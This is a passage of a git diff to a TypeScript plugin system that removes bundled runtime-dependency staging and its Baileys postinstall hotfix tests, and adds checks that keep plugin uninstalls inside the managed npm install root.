loaded = loadPluginBoundaryModuleWithJiti<{ marker: string }>( - path.join(packageRoot, "dist-runtime", "extensions", "acpx", "runtime-api.js"), - loaders, - ); - - expect(loaded.marker).toBe("staged-runtime-dep"); - }); }); diff --git a/src/plugins/runtime/runtime-plugin-boundary.ts b/src/plugins/runtime/runtime-plugin-boundary.ts index 2fd520e4ae8..13fdb81cefe 100644 --- a/src/plugins/runtime/runtime-plugin-boundary.ts +++ b/src/plugins/runtime/runtime-plugin-boundary.ts @@ -1,10 +1,9 @@ import fs from "node:fs"; import path from "node:path"; import { getRuntimeConfig } from "../../config/config.js"; -import { resolveBundledRuntimeDependencyJitiAliasMap } from "../bundled-runtime-deps-jiti-aliases.js"; import { getCachedPluginJitiLoader, type PluginJitiLoaderCache } from "../jiti-loader-cache.js"; import { loadPluginManifestRegistry } from "../manifest-registry.js"; -import { buildPluginLoaderAliasMap, shouldPreferNativeJiti } from "../sdk-alias.js"; +import { shouldPreferNativeJiti } from "../sdk-alias.js"; type PluginRuntimeRecord = { origin?: string; @@ -108,20 +107,11 @@ export function resolvePluginRuntimeModulePath( export function getPluginBoundaryJiti(modulePath: string, loaders: PluginJitiLoaderCache) { const tryNative = shouldPreferNativeJiti(modulePath); - const runtimeAliasMap = resolveBundledRuntimeDependencyJitiAliasMap(); return getCachedPluginJitiLoader({ cache: loaders, modulePath, importerUrl: import.meta.url, jitiFilename: import.meta.url, - ...(runtimeAliasMap - ? { - aliasMap: { - ...buildPluginLoaderAliasMap(modulePath, process.argv[1], import.meta.url), - ...runtimeAliasMap, - }, - } - : {}), tryNative, }); } diff --git a/src/plugins/runtime/runtime-registry-loader.test.ts b/src/plugins/runtime/runtime-registry-loader.test.ts index 02441210832..dfeb7ad91ae 100644 --- a/src/plugins/runtime/runtime-registry-loader.test.ts +++ b/src/plugins/runtime/runtime-registry-loader.test.ts @@ -162,7 +162,6 @@ describe("ensurePluginRegistryLoaded", () => { workspaceDir: "/resolved-workspace", onlyPluginIds: ["demo-channel"], throwOnLoadError: true, - installBundledRuntimeDeps: false, }), ); }); diff --git a/src/plugins/runtime/runtime-registry-loader.ts b/src/plugins/runtime/runtime-registry-loader.ts index f05d7dd6d2c..b0799e7bf92 100644 --- a/src/plugins/runtime/runtime-registry-loader.ts +++ b/src/plugins/runtime/runtime-registry-loader.ts @@ -92,7 +92,6 @@ export function ensurePluginRegistryLoaded(options?: { workspaceDir?: string; onlyPluginIds?: string[]; onlyChannelIds?: string[]; - installBundledRuntimeDeps?: boolean; }): void { const scope = options?.scope ?? "all"; const requestedPluginIdsFromOptions = normalizePluginIdScope(options?.onlyPluginIds); @@ -175,7 +174,6 @@ export function ensurePluginRegistryLoaded(options?: { }, { throwOnLoadError: true, - installBundledRuntimeDeps: options?.installBundledRuntimeDeps ?? false, ...(hasExplicitPluginIdScope(requestedPluginIds) || shouldForwardChannelScope({ scope, scopedLoad }) || hasNonEmptyPluginIdScope(expectedChannelPluginIds) diff --git a/src/plugins/semver.runtime.ts b/src/plugins/semver.runtime.ts deleted file mode 100644 index 9f9a4d2f848..00000000000 --- a/src/plugins/semver.runtime.ts +++ /dev/null @@ -1,26 +0,0 @@ -import { createRequire } from "node:module"; - -const require = createRequire(import.meta.url); - -type SemverRuntime = { - satisfies(version: string, range: string, options?: { includePrerelease?: boolean }): boolean; - valid(version: string): string | null; - validRange(range: string): string | null; -}; - -let semver: SemverRuntime | undefined; - -function getSemver(): SemverRuntime { - semver ??= require("semver") as SemverRuntime; - return semver; -} - -export const satisfies = ( - version: string, - range: string, - options?: { includePrerelease?: boolean }, -): boolean => getSemver().satisfies(version, range, options); - -export const validSemver = (version: string): string | null => getSemver().valid(version); - -export const validRange = (range: string): string | null => getSemver().validRange(range); diff --git a/src/plugins/stage-bundled-plugin-runtime-deps.test.ts b/src/plugins/stage-bundled-plugin-runtime-deps.test.ts deleted file mode 100644 index d084fefa963..00000000000 --- a/src/plugins/stage-bundled-plugin-runtime-deps.test.ts +++ /dev/null @@ -1,628 +0,0 @@ -import fs from "node:fs"; -import path from "node:path"; -import { afterEach, describe, expect, it } from "vitest"; -import { cleanupTrackedTempDirs, makeTrackedTempDir } from "./test-helpers/fs-fixtures.js"; - -type StageRuntimeDepsInstallParams = { - packageJson: Record; -}; - -type StageBundledPluginRuntimeDeps = (params?: { - cwd?: string; - repoRoot?: string; - installAttempts?: number; - installPluginRuntimeDepsImpl?: (params: StageRuntimeDepsInstallParams) => void; -}) => void; - -type BaileysHotfixParams = { - chmodSync?: (path: string, mode: number) => void; - packageRoot?: string; - createTempPath?: (targetPath: string) => string; - writeFileSync?: (pathOrFd: string | number, value: string, encoding?: string) => void; -}; - -type BaileysHotfixResult = { - applied: boolean; - reason: string; - targetPath?: string; - error?: string; -}; - -type PostinstallBundledPluginsModule = { - applyBaileysEncryptedStreamFinishHotfix: (params?: BaileysHotfixParams) => BaileysHotfixResult; -}; - -async function loadStageBundledPluginRuntimeDeps(): Promise { - const moduleUrl = new URL("../../scripts/stage-bundled-plugin-runtime-deps.mjs", import.meta.url); - const loaded = (await import(moduleUrl.href)) as { - stageBundledPluginRuntimeDeps: StageBundledPluginRuntimeDeps; - }; - return loaded.stageBundledPluginRuntimeDeps; -} - -async function loadPostinstallBundledPluginsModule(): Promise { - const moduleUrl = new URL("../../scripts/postinstall-bundled-plugins.mjs", import.meta.url); - return (await import(moduleUrl.href)) as PostinstallBundledPluginsModule; -} - -const tempDirs: string[] = []; - -function makeRepoRoot(prefix: string): string { - return makeTrackedTempDir(prefix, tempDirs); -} - -function writeRepoFile(repoRoot: string, relativePath: string, value: string) { - const fullPath = path.join(repoRoot, relativePath); - fs.mkdirSync(path.dirname(fullPath), { recursive: true }); - fs.writeFileSync(fullPath, value, "utf8"); -} - -function createBaileysMessagesMediaSource(params?: { - dispatcherPatched?: boolean; - dispatcherHeaderDrifted?: boolean; - encryptedStreamPatched?: boolean; - encryptedStreamPatchedSequentially?: boolean; - encryptedStreamPatchedSequentiallyWithComments?: boolean; - encryptedStreamUnrecognized?: boolean; -}) { - const encryptedLines = params?.encryptedStreamUnrecognized - ? [ - " encFileWriteStream.write(mac);", - " logger?.debug('encrypted data changed upstream');", - ] - : params?.encryptedStreamPatchedSequentiallyWithComments - ? [ - " encFileWriteStream.write(mac);", - " const encFinishPromise = once(encFileWriteStream, 'finish');", - " const originalFinishPromise = originalFileStream ? once(originalFileStream, 'finish') : Promise.resolve();", - " encFileWriteStream.end();", - " originalFileStream?.end?.();", - " stream.destroy();", - " // Wait for write streams to fully flush to disk before returning encFilePath.", - " // Without this await, the caller may open a read stream on the file before", - " // the OS has created it, causing a race-condition ENOENT crash.", - " await encFinishPromise;", - " await originalFinishPromise;", - " logger?.debug('encrypted data successfully');", - ] - : params?.encryptedStreamPatchedSequentially - ? [ - " encFileWriteStream.write(mac);", - " const encFinishPromise = once(encFileWriteStream, 'finish');", - " const originalFinishPromise = originalFileStream ? once(originalFileStream, 'finish') : Promise.resolve();", - " encFileWriteStream.end();", - " originalFileStream?.end?.();", - " stream.destroy();", - " await encFinishPromise;", - " await originalFinishPromise;", - " logger?.debug('encrypted data successfully');", - ] - : params?.encryptedStreamPatched - ? [ - " encFileWriteStream.write(mac);", - " const encFinishPromise = once(encFileWriteStream, 'finish');", - " const originalFinishPromise = originalFileStream ? once(originalFileStream, 'finish') : Promise.resolve();", - " encFileWriteStream.end();", - " originalFileStream?.end?.();", - " stream.destroy();", - " await Promise.all([encFinishPromise, originalFinishPromise]);", - " logger?.debug('encrypted data successfully');", - ] - : [ - " encFileWriteStream.write(mac);", - " encFileWriteStream.end();", - " originalFileStream?.end?.();", - " stream.destroy();", - " logger?.debug('encrypted data successfully');", - ]; - const dispatcherLines = params?.dispatcherPatched - ? [ - " const response = await fetch(url, {", - " method: 'POST',", - " body: stream,", - " headers: {", - " 'Content-Type': 'application/octet-stream',", - " Origin: DEFAULT_ORIGIN", - " },", - " // Baileys passes a generic agent here in some runtimes. Undici's", - " // `dispatcher` only works with Dispatcher-compatible implementations,", - " // so only wire it through when the object actually implements", - " // `dispatch`.", - " ...(typeof fetchAgent?.dispatch === 'function' ? { dispatcher: fetchAgent } : {}),", - " duplex: 'half',", - " });", - ] - : params?.dispatcherHeaderDrifted - ? [ - " const response = await fetch(url, {", - " dispatcher: fetchAgent,", - " method: 'POST',", - " body: stream,", - " headers: {", - " Origin: DEFAULT_ORIGIN,", - " 'Content-Type': 'application/octet-stream'", - " },", - " duplex: 'half',", - " });", - ] - : [ - " const response = await fetch(url, {", - " dispatcher: fetchAgent,", - " method: 'POST',", - " body: stream,", - " headers: {", - " 'Content-Type': 'application/octet-stream',", - " Origin: DEFAULT_ORIGIN", - " },", - " duplex: 'half',", - " });", - ]; - return [ - "import { once } from 'events';", - "const encryptedStream = async () => {", - ...encryptedLines, - "};", - "const upload = async () => {", - ...dispatcherLines, - "};", - ].join("\n"); -} - -afterEach(() => { - cleanupTrackedTempDirs(tempDirs); -}); - -describe("stageBundledPluginRuntimeDeps", () => { - it("drops Lark SDK type cargo while keeping runtime entrypoints", () => { - const repoRoot = makeRepoRoot("openclaw-stage-bundled-runtime-deps-"); - - writeRepoFile( - repoRoot, - "dist/extensions/feishu/package.json", - JSON.stringify( - { - name: "@openclaw/feishu", - version: "2026.4.10", - dependencies: { - "@larksuiteoapi/node-sdk": "^1.60.0", - }, - openclaw: { - bundle: { - stageRuntimeDependencies: true, - }, - }, - }, - null, - 2, - ), - ); - - writeRepoFile( - repoRoot, - "node_modules/@larksuiteoapi/node-sdk/package.json", - JSON.stringify( - { - name: "@larksuiteoapi/node-sdk", - version: "1.60.0", - main: "./lib/index.js", - module: "./es/index.js", - types: "./types", - }, - null, - 2, - ), - ); - writeRepoFile( - repoRoot, - "node_modules/@larksuiteoapi/node-sdk/lib/index.js", - "export const runtime = true;\n", - ); - writeRepoFile( - repoRoot, - "node_modules/@larksuiteoapi/node-sdk/es/index.js", - "export const moduleRuntime = true;\n", - ); - writeRepoFile( - repoRoot, - "node_modules/@larksuiteoapi/node-sdk/types/index.d.ts", - "export interface HugeTypeSurface {}\n", - ); - - return loadStageBundledPluginRuntimeDeps().then((stageBundledPluginRuntimeDeps) => { - stageBundledPluginRuntimeDeps({ repoRoot }); - - const stagedRoot = path.join( - repoRoot, - "dist", - "extensions", - "feishu", - "node_modules", - "@larksuiteoapi", - "node-sdk", - ); - expect(fs.existsSync(path.join(stagedRoot, "lib", "index.js"))).toBe(true); - expect(fs.existsSync(path.join(stagedRoot, "es", "index.js"))).toBe(true); - expect(fs.existsSync(path.join(stagedRoot, "types"))).toBe(false); - }); - }); - - it("strips non-runtime dependency sections before fallback runtime staging", async () => { - const repoRoot = makeRepoRoot("openclaw-stage-bundled-runtime-manifest-"); - writeRepoFile( - repoRoot, - "dist/extensions/amazon-bedrock/package.json", - JSON.stringify( - { - name: "@openclaw/amazon-bedrock-provider", - version: "2026.4.10", - dependencies: { - "@aws-sdk/client-bedrock": "3.1024.0", - }, - devDependencies: { - "@openclaw/plugin-sdk": "workspace:*", - }, - peerDependencies: { - openclaw: "^0.0.0", - }, - peerDependenciesMeta: { - openclaw: { - optional: true, - }, - }, - openclaw: { - bundle: { - stageRuntimeDependencies: true, - }, - }, - }, - null, - 2, - ), - ); - - const stageBundledPluginRuntimeDeps = await loadStageBundledPluginRuntimeDeps(); - const installs: Array> = []; - stageBundledPluginRuntimeDeps({ - repoRoot, - installAttempts: 1, - installPluginRuntimeDepsImpl(params: { packageJson: Record }) { - installs.push(params.packageJson); - }, - }); - - expect(installs).toHaveLength(1); - expect(installs[0]?.dependencies).toEqual({ - "@aws-sdk/client-bedrock": "3.1024.0", - }); - expect(installs[0]?.devDependencies).toBeUndefined(); - expect(installs[0]?.peerDependencies).toBeUndefined(); - expect(installs[0]?.peerDependenciesMeta).toBeUndefined(); - }); - - it("patches installed Baileys encryptedStream flush ordering for shipped runtime deps", async () => { - const repoRoot = makeRepoRoot("openclaw-stage-bundled-runtime-hotfix-"); - const targetPath = path.join( - repoRoot, - "node_modules", - "@whiskeysockets", - "baileys", - "lib", - "Utils", - "messages-media.js", - ); - writeRepoFile( - repoRoot, - "node_modules/@whiskeysockets/baileys/lib/Utils/messages-media.js", - createBaileysMessagesMediaSource(), - ); - - const { applyBaileysEncryptedStreamFinishHotfix } = await loadPostinstallBundledPluginsModule(); - const result = applyBaileysEncryptedStreamFinishHotfix({ packageRoot: repoRoot }); - - expect(result).toEqual({ - applied: true, - reason: "patched", - targetPath, - }); - expect(fs.readFileSync(targetPath, "utf8")).toContain( - "const encFinishPromise = once(encFileWriteStream, 'finish');", - ); - expect(fs.readFileSync(targetPath, "utf8")).toContain( - "await Promise.all([encFinishPromise, originalFinishPromise]);", - ); - expect(fs.readFileSync(targetPath, "utf8")).toContain( - "...(typeof fetchAgent?.dispatch === 'function' ? { dispatcher: fetchAgent } : {}),", - ); - expect(fs.readFileSync(targetPath, "utf8")).not.toContain("dispatcher: fetchAgent,"); - }); - - it("patches the Baileys dispatcher guard when the flush hotfix is already present", async () => { - const repoRoot = makeRepoRoot("openclaw-stage-bundled-runtime-hotfix-dispatcher-"); - const targetPath = path.join( - repoRoot, - "node_modules", - "@whiskeysockets", - "baileys", - "lib", - "Utils", - "messages-media.js", - ); - writeRepoFile( - repoRoot, - "node_modules/@whiskeysockets/baileys/lib/Utils/messages-media.js", - createBaileysMessagesMediaSource({ encryptedStreamPatched: true }), - ); - - const { applyBaileysEncryptedStreamFinishHotfix } = await loadPostinstallBundledPluginsModule(); - const result = applyBaileysEncryptedStreamFinishHotfix({ packageRoot: repoRoot }); - - expect(result).toEqual({ - applied: true, - reason: "patched", - targetPath, - }); - expect(fs.readFileSync(targetPath, "utf8")).toContain( - "await Promise.all([encFinishPromise, originalFinishPromise]);", - ); - expect(fs.readFileSync(targetPath, "utf8")).toContain( - "...(typeof fetchAgent?.dispatch === 'function' ? { dispatcher: fetchAgent } : {}),", - ); - }); - - it("patches the Baileys dispatcher guard even when the encryptedStream block changed", async () => { - const repoRoot = makeRepoRoot("openclaw-stage-bundled-runtime-hotfix-dispatcher-only-"); - const targetPath = path.join( - repoRoot, - "node_modules", - "@whiskeysockets", - "baileys", - "lib", - "Utils", - "messages-media.js", - ); - writeRepoFile( - repoRoot, - "node_modules/@whiskeysockets/baileys/lib/Utils/messages-media.js", - createBaileysMessagesMediaSource({ encryptedStreamUnrecognized: true }), - ); - - const { applyBaileysEncryptedStreamFinishHotfix } = await loadPostinstallBundledPluginsModule(); - const result = applyBaileysEncryptedStreamFinishHotfix({ packageRoot: repoRoot }); - - expect(result).toEqual({ - applied: true, - reason: "patched", - targetPath, - }); - expect(fs.readFileSync(targetPath, "utf8")).toContain( - "logger?.debug('encrypted data changed upstream');", - ); - expect(fs.readFileSync(targetPath, "utf8")).toContain( - "...(typeof fetchAgent?.dispatch === 'function' ? { dispatcher: fetchAgent } : {}),", - ); - }); - - it("fails when the dispatcher block drifts even if encryptedStream is patchable", async () => { - const repoRoot = makeRepoRoot("openclaw-stage-bundled-runtime-hotfix-dispatcher-drifted-"); - const targetPath = path.join( - repoRoot, - "node_modules", - "@whiskeysockets", - "baileys", - "lib", - "Utils", - "messages-media.js", - ); - writeRepoFile( - repoRoot, - "node_modules/@whiskeysockets/baileys/lib/Utils/messages-media.js", - createBaileysMessagesMediaSource({ dispatcherHeaderDrifted: true }), - ); - - const originalText = fs.readFileSync(targetPath, "utf8"); - const { applyBaileysEncryptedStreamFinishHotfix } = await loadPostinstallBundledPluginsModule(); - const result = applyBaileysEncryptedStreamFinishHotfix({ packageRoot: repoRoot }); - - expect(result).toEqual({ - applied: false, - reason: "unexpected_content", - targetPath, - }); - expect(fs.readFileSync(targetPath, "utf8")).toBe(originalText); - }); - - it("patches the Baileys dispatcher guard when sequential awaits include comments", async () => { - const repoRoot = makeRepoRoot( - "openclaw-stage-bundled-runtime-hotfix-dispatcher-sequential-comments-", - ); - const targetPath = path.join( - repoRoot, - "node_modules", - "@whiskeysockets", - "baileys", - "lib", - "Utils", - "messages-media.js", - ); - writeRepoFile( - repoRoot, - "node_modules/@whiskeysockets/baileys/lib/Utils/messages-media.js", - createBaileysMessagesMediaSource({ encryptedStreamPatchedSequentiallyWithComments: true }), - ); - - const { applyBaileysEncryptedStreamFinishHotfix } = await loadPostinstallBundledPluginsModule(); - const result = applyBaileysEncryptedStreamFinishHotfix({ packageRoot: repoRoot }); - - expect(result).toEqual({ - applied: true, - reason: "patched", - targetPath, - }); - expect(fs.readFileSync(targetPath, "utf8")).toContain( - "...(typeof fetchAgent?.dispatch === 'function' ? { dispatcher: fetchAgent } : {}),", - ); - expect(fs.readFileSync(targetPath, "utf8")).toContain("await encFinishPromise;"); - expect(fs.readFileSync(targetPath, "utf8")).toContain("await originalFinishPromise;"); - }); - - it("patches the Baileys dispatcher guard when the flush hotfix uses sequential awaits", async () => { - const repoRoot = makeRepoRoot("openclaw-stage-bundled-runtime-hotfix-dispatcher-sequential-"); - const targetPath = path.join( - repoRoot, - "node_modules", - "@whiskeysockets", - "baileys", - "lib", - "Utils", - "messages-media.js", - ); - writeRepoFile( - repoRoot, - "node_modules/@whiskeysockets/baileys/lib/Utils/messages-media.js", - createBaileysMessagesMediaSource({ encryptedStreamPatchedSequentially: true }), - ); - - const { applyBaileysEncryptedStreamFinishHotfix } = await loadPostinstallBundledPluginsModule(); - const result = applyBaileysEncryptedStreamFinishHotfix({ packageRoot: repoRoot }); - - expect(result).toEqual({ - applied: true, - reason: "patched", - targetPath, - }); - expect(fs.readFileSync(targetPath, "utf8")).toContain("await encFinishPromise;"); - expect(fs.readFileSync(targetPath, "utf8")).toContain("await originalFinishPromise;"); - expect(fs.readFileSync(targetPath, "utf8")).toContain( - "...(typeof fetchAgent?.dispatch === 'function' ? { dispatcher: fetchAgent } : {}),", - ); - }); - - it("preserves the original module read mode when replacing Baileys", async () => { - const repoRoot = makeRepoRoot("openclaw-stage-bundled-runtime-hotfix-mode-"); - const targetPath = path.join( - repoRoot, - "node_modules", - "@whiskeysockets", - "baileys", - "lib", - "Utils", - "messages-media.js", - ); - writeRepoFile( - repoRoot, - "node_modules/@whiskeysockets/baileys/lib/Utils/messages-media.js", - createBaileysMessagesMediaSource(), - ); - fs.chmodSync(targetPath, 0o644); - - const { applyBaileysEncryptedStreamFinishHotfix } = await loadPostinstallBundledPluginsModule(); - const result = applyBaileysEncryptedStreamFinishHotfix({ packageRoot: repoRoot }); - - expect(result).toEqual({ - applied: true, - reason: "patched", - targetPath, - }); - expect(fs.statSync(targetPath).mode & 0o777).toBe(0o644); - }); - - it("refuses symlink targets for the Baileys hotfix", async () => { - const repoRoot = makeRepoRoot("openclaw-stage-bundled-runtime-hotfix-symlink-"); - const targetPath = path.join( - repoRoot, - "node_modules", - "@whiskeysockets", - "baileys", - "lib", - "Utils", - "messages-media.js", - ); - const redirectedTarget = path.join(repoRoot, "redirected-messages-media.js"); - writeRepoFile(repoRoot, "redirected-messages-media.js", "const untouched = true;\n"); - fs.mkdirSync(path.dirname(targetPath), { recursive: true }); - fs.symlinkSync(redirectedTarget, targetPath); - - const { applyBaileysEncryptedStreamFinishHotfix } = await loadPostinstallBundledPluginsModule(); - const result = applyBaileysEncryptedStreamFinishHotfix({ packageRoot: repoRoot }); - - expect(result).toEqual({ - applied: false, - reason: "unsafe_target", - targetPath, - }); - expect(fs.readFileSync(redirectedTarget, "utf8")).toBe("const untouched = true;\n"); - }); - - it("downgrades Baileys hotfix write failures to a non-fatal result", async () => { - const repoRoot = makeRepoRoot("openclaw-stage-bundled-runtime-hotfix-write-failure-"); - const targetPath = path.join( - repoRoot, - "node_modules", - "@whiskeysockets", - "baileys", - "lib", - "Utils", - "messages-media.js", - ); - writeRepoFile( - repoRoot, - "node_modules/@whiskeysockets/baileys/lib/Utils/messages-media.js", - createBaileysMessagesMediaSource(), - ); - - const { applyBaileysEncryptedStreamFinishHotfix } = await loadPostinstallBundledPluginsModule(); - const result = applyBaileysEncryptedStreamFinishHotfix({ - packageRoot: repoRoot, - writeFileSync() { - throw new Error("read-only filesystem"); - }, - }); - - expect(result).toEqual({ - applied: false, - reason: "error", - targetPath, - error: "read-only filesystem", - }); - expect(fs.readFileSync(targetPath, "utf8")).toContain("dispatcher: fetchAgent,"); - }); - - it("refuses pre-created symlink temp paths instead of following them", async () => { - const repoRoot = makeRepoRoot("openclaw-stage-bundled-runtime-hotfix-temp-symlink-"); - const targetPath = path.join( - repoRoot, - "node_modules", - "@whiskeysockets", - "baileys", - "lib", - "Utils", - "messages-media.js", - ); - const redirectedTarget = path.join(repoRoot, "redirected-temp-target.js"); - const attackerTempPath = path.join( - path.dirname(targetPath), - ".messages-media.js.attacker-temp", - ); - writeRepoFile( - repoRoot, - "node_modules/@whiskeysockets/baileys/lib/Utils/messages-media.js", - createBaileysMessagesMediaSource(), - ); - writeRepoFile(repoRoot, "redirected-temp-target.js", "const untouched = true;\n"); - fs.symlinkSync(redirectedTarget, attackerTempPath); - - const { applyBaileysEncryptedStreamFinishHotfix } = await loadPostinstallBundledPluginsModule(); - const result = applyBaileysEncryptedStreamFinishHotfix({ - packageRoot: repoRoot, - createTempPath() { - return attackerTempPath; - }, - }); - - expect(result.applied).toBe(false); - expect(result.reason).toBe("error"); - expect(result.error).toContain("EEXIST"); - expect(fs.readFileSync(redirectedTarget, "utf8")).toBe("const untouched = true;\n"); - expect(fs.readFileSync(targetPath, "utf8")).toContain("dispatcher: fetchAgent,"); - }); -}); diff --git a/src/plugins/stage-bundled-plugin-runtime.test.ts b/src/plugins/stage-bundled-plugin-runtime.test.ts index 32f5345eab0..b8d01ab3179 100644 --- a/src/plugins/stage-bundled-plugin-runtime.test.ts +++ b/src/plugins/stage-bundled-plugin-runtime.test.ts @@ -93,7 +93,7 @@ afterEach(() => { }); describe("stageBundledPluginRuntime", () => { - it("stages bundled dist plugins as runtime wrappers and links staged dist node_modules", () => { + it("stages bundled dist plugins as runtime wrappers without linking plugin node_modules", () => { const repoRoot = makeRepoRoot("openclaw-stage-bundled-runtime-"); const distPluginDir = createDistPluginDir(repoRoot, "diffs"); fs.mkdirSync(path.join(repoRoot, "dist"), { recursive: true }); @@ -124,10 +124,7 @@ describe("stageBundledPluginRuntime", () => { pluginId: "diffs", expectedImport: distRuntimeImportPath("diffs"), }); - expect(fs.lstatSync(path.join(runtimePluginDir, "node_modules")).isSymbolicLink()).toBe(true); - expect(fs.realpathSync(path.join(runtimePluginDir, "node_modules"))).toBe( - fs.realpathSync(path.join(distPluginDir, "node_modules")), - ); + expect(fs.existsSync(path.join(runtimePluginDir, "node_modules"))).toBe(false); expect(fs.existsSync(path.join(distPluginDir, "node_modules"))).toBe(true); expect( fs diff --git a/src/plugins/status.ts b/src/plugins/status.ts index 4e7e285370e..e120739590a 100644 --- a/src/plugins/status.ts +++ b/src/plugins/status.ts @@ -338,7 +338,6 @@ function buildPluginReport( loadModules, activate: false, cache: false, - installBundledRuntimeDeps: false, onlyPluginIds, }), ), diff --git a/src/plugins/test-helpers/bundled-runtime-deps-fixtures.ts b/src/plugins/test-helpers/bundled-runtime-deps-fixtures.ts deleted file mode 100644 index 1afcb43ed51..00000000000 --- a/src/plugins/test-helpers/bundled-runtime-deps-fixtures.ts +++ /dev/null @@ -1,72 +0,0 @@ -import fs from "node:fs"; -import path from "node:path"; - -export function writeInstalledRuntimeDepPackage( - rootDir: string, - packageName: string, - version: string, -): void { - const packageDir = path.join(rootDir, "node_modules", ...packageName.split("/")); - fs.mkdirSync(packageDir, { recursive: true }); - fs.writeFileSync( - path.join(packageDir, "package.json"), - JSON.stringify({ name: packageName, version }), - "utf8", - ); - fs.writeFileSync(path.join(packageDir, "index.js"), "export {};\n", "utf8"); -} - -export function writeGeneratedRuntimeDepsManifest(rootDir: string, specs: readonly string[]): void { - const dependencies = Object.fromEntries( - [...specs] - .toSorted((left, right) => left.localeCompare(right)) - .map((spec) => { - const atIndex = spec.lastIndexOf("@"); - return [spec.slice(0, atIndex), spec.slice(atIndex + 1)]; - }), - ); - fs.mkdirSync(rootDir, { recursive: true }); - fs.writeFileSync( - path.join(rootDir, "package.json"), - `${JSON.stringify( - { - name: "openclaw-runtime-deps-install", - private: true, - dependencies, - }, - null, - 2, - )}\n`, - "utf8", - ); -} - -export function writeBundledPluginRuntimeDepsPackage(params: { - packageRoot: string; - pluginId: string; - deps: Record; - enabledByDefault?: boolean; - channels?: string[]; - modelSupport?: { modelPatterns?: string[]; modelPrefixes?: string[] }; - providers?: string[]; - runtimeDependencies?: Record; -}): string { - const pluginRoot = path.join(params.packageRoot, "dist", "extensions", params.pluginId); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify({ dependencies: params.deps }), - ); - fs.writeFileSync( - path.join(pluginRoot, "openclaw.plugin.json"), - JSON.stringify({ - id: params.pluginId, - enabledByDefault: params.enabledByDefault === true, - ...(params.channels ? { channels: params.channels } : {}), - ...(params.modelSupport ? { modelSupport: params.modelSupport } : {}), - ...(params.providers ? { providers: params.providers } : {}), - ...(params.runtimeDependencies ? { runtimeDependencies: params.runtimeDependencies } : {}), - }), - ); - return pluginRoot; -} diff --git a/src/plugins/tools.optional.test.ts b/src/plugins/tools.optional.test.ts index 3173eca4a21..e88fcca6667 100644 --- a/src/plugins/tools.optional.test.ts +++ b/src/plugins/tools.optional.test.ts @@ -494,7 +494,6 @@ describe("resolvePluginTools optional tools", () => { expect(loadOpenClawPluginsMock).toHaveBeenCalledWith( expect.objectContaining({ - installBundledRuntimeDeps: false, runtimeOptions: { allowGatewaySubagentBinding: true, }, diff --git a/src/plugins/tools.ts b/src/plugins/tools.ts index ebf96deeb35..06bb8a00c6e 100644 --- a/src/plugins/tools.ts +++ b/src/plugins/tools.ts @@ -148,7 +148,6 @@ export function resolvePluginTools(params: { env, }); const loadOptions = buildPluginRuntimeLoadOptions(context, { - installBundledRuntimeDeps: false, activate: false, toolDiscovery: true, ...(onlyPluginIds !== undefined ? { onlyPluginIds } : {}), diff --git a/src/plugins/uninstall.test.ts b/src/plugins/uninstall.test.ts index c6ae073226f..3e7035447ff 100644 --- a/src/plugins/uninstall.test.ts +++ b/src/plugins/uninstall.test.ts @@ -974,6 +974,43 @@ describe("resolveUninstallDirectoryTarget", () => { ).toBe(installPath); }); + it("uses configured installPath when npm installed it under the managed npm root", () => { + const stateDir = path.join(os.tmpdir(), "openclaw-uninstall-safe"); + const extensionsDir = path.join(stateDir, "extensions"); + const installPath = path.join(stateDir, "npm", "node_modules", "@openclaw", "kitchen-sink"); + + expect( + resolveUninstallDirectoryTarget({ + pluginId: "openclaw-kitchen-sink-fixture", + hasInstall: true, + installRecord: { + source: "npm", + spec: "@openclaw/kitchen-sink@latest", + installPath, + }, + extensionsDir, + }), + ).toBe(installPath); + }); + + it("does not trust npm install paths outside the managed npm root", () => { + const stateDir = path.join(os.tmpdir(), "openclaw-uninstall-safe"); + const extensionsDir = path.join(stateDir, "extensions"); + + expect( + resolveUninstallDirectoryTarget({ + pluginId: "openclaw-kitchen-sink-fixture", + hasInstall: true, + installRecord: { + source: "npm", + spec: "@openclaw/kitchen-sink@latest", + installPath: path.join(os.tmpdir(), "npm", "node_modules", "@openclaw", "kitchen-sink"), + }, + extensionsDir, + }), + ).toBe(resolvePluginInstallDir("openclaw-kitchen-sink-fixture", extensionsDir)); + }); + it("uses configured installPath when it is under the recorded managed extensions root", () => { const currentExtensionsDir = path.join(os.tmpdir(), "openclaw-uninstall-current", "extensions"); const recordedExtensionsDir = path.join( diff --git a/src/plugins/uninstall.ts b/src/plugins/uninstall.ts index 444fd79969c..ce3e1e09fc1 100644 --- a/src/plugins/uninstall.ts +++ b/src/plugins/uninstall.ts @@ -4,7 +4,7 @@ import path from "node:path"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import type { PluginInstallRecord } from "../config/types.plugins.js"; import { formatErrorMessage } from "../infra/errors.js"; -import { resolvePluginInstallDir } from "./install.js"; +import { resolveDefaultPluginNpmDir, resolvePluginInstallDir } from "./install-paths.js"; import { defaultSlotIdForKey } from "./slots.js"; export type UninstallActions = { @@ -114,6 +114,14 @@ export function resolveUninstallDirectoryTarget(params: { return null; } + const npmManagedPath = resolveNpmManagedInstallPath({ + installRecord: params.installRecord, + extensionsDir: params.extensionsDir, + }); + if (npmManagedPath) { + return npmManagedPath; + } + let defaultPath: string; try { defaultPath = resolvePluginInstallDir(params.pluginId, params.extensionsDir); @@ -147,6 +155,33 @@ export function resolveUninstallDirectoryTarget(params: { return defaultPath; } +function resolveNpmManagedInstallPath(params: { + installRecord?: PluginInstallRecord; + extensionsDir?: string; +}): string | null { + const installPath = params.installRecord?.installPath?.trim(); + if (params.installRecord?.source !== "npm" || !installPath) { + return null; + } + + const npmRoots = new Set(); + if (params.extensionsDir) { + npmRoots.add(path.join(path.dirname(path.resolve(params.extensionsDir)), "npm")); + } + npmRoots.add(resolveDefaultPluginNpmDir()); + + for (const npmRoot of npmRoots) { + const nodeModulesRoot = path.join(npmRoot, "node_modules"); + if ( + isPathInsideOrEqual(nodeModulesRoot, installPath) && + resolveComparablePath(nodeModulesRoot) !== resolveComparablePath(installPath) + ) { + return installPath; + } + } + return null; +} + function resolveRecordedManagedInstallPath(params: { pluginId: string; installPath: string; diff --git a/src/scripts/ci-changed-scope.test.ts b/src/scripts/ci-changed-scope.test.ts index c8b4be14ea3..0d9ef747d50 100644 --- a/src/scripts/ci-changed-scope.test.ts +++ b/src/scripts/ci-changed-scope.test.ts @@ -340,15 +340,6 @@ describe("detectChangedScope", () => { runChangedSmoke: true, runControlUiI18n: false, }); - 